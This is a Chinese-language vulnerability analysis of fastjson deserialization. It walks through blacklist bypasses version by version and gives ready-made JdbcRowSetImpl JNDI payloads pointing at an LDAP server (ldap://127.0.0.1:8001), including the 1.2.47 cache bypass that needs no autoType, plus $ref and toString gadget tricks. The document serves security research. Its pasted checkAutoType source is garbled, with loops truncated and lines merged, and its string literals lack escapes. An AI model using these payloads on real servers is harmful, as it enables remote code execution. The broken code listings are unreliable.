0x01 反序列化过程
fastjson将字符串转换为对象的方法主要有parse和parseObject
其中parseObject也会调用parse来解析json,下面来分析下反序列化过程
首先写一个测试的javabean
public class TestBean {
public String isMessage;
public String message;
public int id;
public String getMessage() {
System.out.println("getMessage called");
return message;
}
public void setMessage(String message) {
System.out.println("setMessage called");
this.message = message;
}
public TestBean() {
}
public TestBean(String message, int id) {
this.message = message;
this.id = id;
}
public int getId() {
System.out.println("getId called");
return id;
}
public void setId(int id) {
System.out.println("setId called");
this.id = id;
}
@Override
public String toString() {
return "TestBean{" +
"message='" + message + ''' +
", id=" + id +
'}';
}
}
反序列化测试代码
import com.alibaba.fastjson.JSON;
public class Derjson {
public static void main(String[] args) {
String text = "{"@type":"TestBean","message":"hello","id":888}";
Object obj = JSON.parseObject(text);
}
}
下断点调试,首先会进入
com.alibaba.fastjson.JSON#parseObject(java.lang.String)
可以看到该方法中调用了parse方法来解析json字符串,跟进该方法
该方法中获取了一个json解析器,一路跟进到
com.alibaba.fastjson.parser.DefaultJSONParser#DefaultJSONParser(java.lang.Object, com.alibaba.fastjson.parser.JSONLexer, com.alibaba.fastjson.parser.ParserConfig)
会在该方法中盘断json字符串是否以{ 或[开头,然后分配不同的解析流程,以其他字符开头的后面的解析过程中会报错
然后回到parse来,接着会进行解析json串的流程
首先是创建一个JSONObject对象,执行
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)方法
该方法主要是对json相应的结构进行拆解,获取相应的值,进行对应的处理
比如在匹配到@type 键值时,会对其对应的值进行类加载操作
然后获取对应类的反序列化器
跟进getDeserializer,在识别到类是一个普通的javabean时,会调用
com.alibaba.fastjson.parser.ParserConfig#createJavaBeanDeserializer
创建反序列化器,在该方法中又会使用:
com.alibaba.fastjson.util.JavaBeanInfo#build来绑定对应属性的setter
getter处理方法,对于setter方法的规定代码如下:
要求setter方法长度大于4,不是静态方法,返回类型是void或所在类的类型,参数个数是1,第四个字母需要大写
然后会把set去掉,第四位字母小写后作为属性值来和bean中的属性列表来对比,当属性成功被匹配到时,将setter方法与该属性绑定
当没有匹配到时,会将属性名首位大写然后在前面加上is来组成一个新的属性,然后继续将其与bean中的属性列表对比,成功匹配到后将is开头的属性值与setter绑定
对于getter方法的规定如下
要求getter方法大于4,不能是static方法,方法以get开头且第四位大写,方法不能有参数,返回值继承
Collection/Map/AtomicBoolean/AtomicInteger/AtomicLong ;
在绑定完方法后,就开始进行反序列化操作,利用绑定的方法恢复属性的值
值得注意的是,在反序列化的过程中,fastjson如果对json的字段找不到相应的方法时,会尝试对字段进行处理,反序列化方法
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser,
java.lang.reflect.Type,
java.lang.Object, java.lang.Object, int)
具体的处理方法:
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch
会尝试去掉字段中的_或-然后再去进行反序列化操作。
0x02 漏洞版本分析
1.2.24
payload如下
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8001", "autoCommit":true}
前面已经知道fastjson在解析到@type时会实例化对应的类,然后调用其他键对应的setter方法
首先会实例化:
com.sun.rowset.JdbcRowSetImpl类,然后调用其setDataSourceName方法设置DataSourceName
接着会调用setAutoCommit方法,然后调用connect方法
接着获取刚才设置的DataSourceName来发起jndi请求,完成利用
1.2.25-1.2.41
首先可以看看1.2.5做了哪些改变
https://github.com/alibaba/fastjson/compare/1.2.24…1.2.25
在对类进行加载时,添加了一个checkAutoType方法
代码如下
public Class checkAutoType(String typeName, Class expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
//判断是否开启autoTypeSupport
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
//在白名单中寻找目标类,如找到则加载类
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
//在黑名单中寻找目标类,如找到则报出异常
for(i = 0; i " + expectClass.getName());
} else {
return clazz;
}
} else {
//当没开启autoTypeSupport时的处理
if (!this.autoTypeSupport) {
String accept;
int i;
//在黑名单中寻找,匹配到黑名单则抛出异常
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
//在白名单中寻找找到后直接加载类
for(i = 0; i " + expectClass.getName());
}
return clazz;
}
}
}
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}
可以看到我们想利用必须要开启autoTypeSupport,然后绕过黑名单的限制,关于黑名单的绕过,可以在
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String,java.lang.ClassLoader)找到答案
在类加载的过程中,会对以[开头,或以L开头并以;结尾的类名进行递归处理,将这些字符串去掉,那我们就可以将本来存在于黑名单的类的类名前面加上L结尾加上;来绕过黑名单的校验
测试代码
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Fast1225 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String text = "{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:8001", "autoCommit":true}";
Object obj = JSON.parse(text);
}
}
在实际测试中发现在类名前面加一个[会出现如下报错
这个问题可以看
https://xz.aliyun.com/t/7027 的评论
1.2.42
查看版本对比
https://github.com/alibaba/fastjson/compare/1.2.41…1.2.42
可以看到将黑名单全换成了hash
同时在校验黑白名单之前,如果类名前面存在L结尾存在; 则会被去除,主要是为了应对1.2.5-1.2.41的情况
在这里由于上面分析过
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String,java.lang.ClassLoader, boolean)
会将L与;递归删除,所以我们多加两组L与;即可
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Fast1242 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String text = "{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:8001", "autoCommit":true}";
Object obj = JSON.parse(text);
}
}
1.2.43
查看对比
https://github.com/alibaba/fastjson/compare/1.2.42…1.2.43
主要是修复了多层L;的绕过,这里可以考虑使用[绕过,由于[正常格式json存在报错,payload可以参考
https://xz.aliyun.com/t/7027
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Fast1243 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String text = "{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:8001","autoCommit":true}";
Object obj = JSON.parse(text);
}
}
1.2.44
该版本主要对1.2.43的绕过进行了修复,禁止[开头的类名
https://github.com/alibaba/fastjson/compare/1.2.43…1.2.44
1.2.45-1.2.46
主要是在修复不断出现的黑名单绕过
https://github.com/alibaba/fastjson/compare/1.2.44…1.2.46
1.2.47
在该版本出现了一个无需开启AutoTypeSupport 的通杀payload
import com.alibaba.fastjson.JSON;
public class Fast1247 {
public static void main(String[] args) {
String text ="{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8001","autoCommit":true}}}";
Object obj = JSON.parse(text);
}
}
分析下payload是如何起到作用的,首先回到checkAutoType方法中来
不管AutoTypeSupport是否开启(除非类在白名单中会直接return),都要经过以下代码段
可以看到payload分为两段,第一段想要加载java.lang.Class,首先会尝试从
com.alibaba.fastjson.util.TypeUtils#mappings 中匹配想要加载的类
但是没有匹配到,接着会尝试在deserializers中寻找想要加载的类,
com.alibaba.fastjson.parser.ParserConfig#initDeserializers中初始化
deserializers的时候,会设置很多个类,其中就包括我们想要的java.lang.Class
找到class
在执行到AutoTypeSupport为false的处理代码之前,就将class return 了出去
接着就在
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)方法中反序列化类
其中反序列化解析器就是初始化deserializers时设置的MiscCodec
跟进去到
com.alibaba.fastjson.serializer.MiscCodec#deserialze方法,当键为val时,
会将val的值赋给objval 接着赋值给strval
接着由于class的值是Class.class,
会调用TypeUtils.loadClass来加载类
跟进去会发现当cache为true时,会将val对应的值
com.sun.rowset.JdbcRowSetImpl加入mapping中
然后就是解析第二段json了,还是回到checkAutoType,还是会经过这段代码
此时由于
com.sun.rowset.JdbcRowSetImpl已经存在于mapping中,很明显可以获取到class,在校验黑名单之前返回类,也就完成了绕过,后面就是正常的触发流程
在版本1.2.33-1.2.47的时候,无论是否开启AutoTypeSupport,都可以成功利用,但在1.2.25-1.2.32版本中,只有当AutoTypeSupport关闭时才能成功利用
具体原因主要在开启AutoTypeSupport后的代码处理上存在不同
https://github.com/alibaba/fastjson/compare/1.2.32…1.2.33
在1.2.33-1.2.47版本中,只有当类在黑名单且缓存中查询不到时会保持,而之前版本只要在黑名单中就会报错,导致之前版本在AutoTypeSupport开启时不可利用
总结一下,该payload主要是通过
fastjson的缓存机制来绕过安全校验,首先将存在于黑名单的恶意类通过
java.lang.class对应的deserializer的deserialize方法将val对应的值传入loadclass然后将其加入mapping缓存中,接着在加载恶意类的时候会直接从缓存中获取,将安全校验绕过
在1.2.48中,直接将缓存开关默认关闭,阻止用户将类加入缓存中
1.2.68
在该版本中,主要的利用思路是checkAutoType
方法中传入的expectClass参数
主要代码如下:
当传入的expectClass不在限制的黑名单中,传入的类名不在黑名单中,传入的类与expectClass是继承关系,则可以不使checkAutoType抛出异常正常执行代码
经搜索只有JavaBeanDeserializer
ThrowableDeserializer的deserialze方法以及JavaBeanDeserializer的
deserialzeArrayMapping
方法会在调用checkAutoType时传入不为null的expectClass
其中java.lang.AutoCloseable也可以通过校验,因为它在缓存中而且输入输出流的类都实现于java.lang.AutoCloseable
那么链子的寻找就变成了寻找不在黑名单中且实现了这几个可用接口的类,查找类中的getter,setter 或 构造方法中是否存在可利用的操作
具体链条的构造可以参考
https://b1ue.cn/archives/364.html
0x03 一些有意思的payload
$ref构造
我们知道当使用parse方法来解析json时,是不会触发getter方法的,在1.2.36版本以后,可以利用$ref来构造特殊的payload,使其能调用getter方法
测试payload如下:
import com.alibaba.fastjson.parser.ParserConfig;
public class Derjson {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String text = "[{"@type":"TestBean","message":"xxx"},{"$ref":"$[0].id"}]";
Object obj = JSON.parse(text);
}
}
可以成功的触发getId方法,下面简要分析下fastjson是怎么处理的先看到
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)方法
当匹配到key为$ref 且value不为@,… , $时,会将value暂存起来,并添加一个ResolveTask,将当前value保存,然后等parse执行完后,会检查ResolveTask
com.alibaba.fastjson.parser.DefaultJSONParser#handleResovleTask
由于前面新添加了一个ResolveTask,这里不会return出去,将会进入JSONPath.eval,然后一路
com.alibaba.fastjson.JSONPath#getPropertyValue
在该方法中会先获取JavaBeanSerializer然后调用
getFieldValue获取指定属性的值,取值就会用调用到我们想调用的getter方法
触发toString
以下payload可以触发目标类的toString方法
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Derjson {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String text = "{{"@type":"TestBean","message":"xxx"}:"xyz"}";
Object obj = JSON.parse(text);
}
}
主要原因是在
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)方法中
由于xyz对应的key值是一个JSONObject对象,这时会调用其key的toString方法,也就是触发了TestBean的toString方法
0x04 参考链接
-
https://xz.aliyun.com/t/7027
-
https://www.kingkk.com/2019/07/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-1-2-24-1-2-48/
-
https://github.com/safe6Sec/Fastjson
-
https://su18.org/post/fastjson/
-
https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/02.%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/01.Java%E5%AE%89%E5%85%A8/2.%E5%90%84%E7%A7%8D%E5%88%86%E6%9E%90/06.Fastjson%E5%90%84%E7%89%88%E6%9C%AC%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html#fastjson%E9%BB%91%E5%90%8D%E5%8D%95
-
https://mp.weixin.qq.com/s/GvR7ZXBtqDUUb3jXYYUexg
-
https://b1ue.cn/archives/348.html
-
https://blog.0kami.cn/2020/04/13/java/talk-about-fastjson-deserialization/
声明
以上内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。
长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明长白山攻防实验室允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。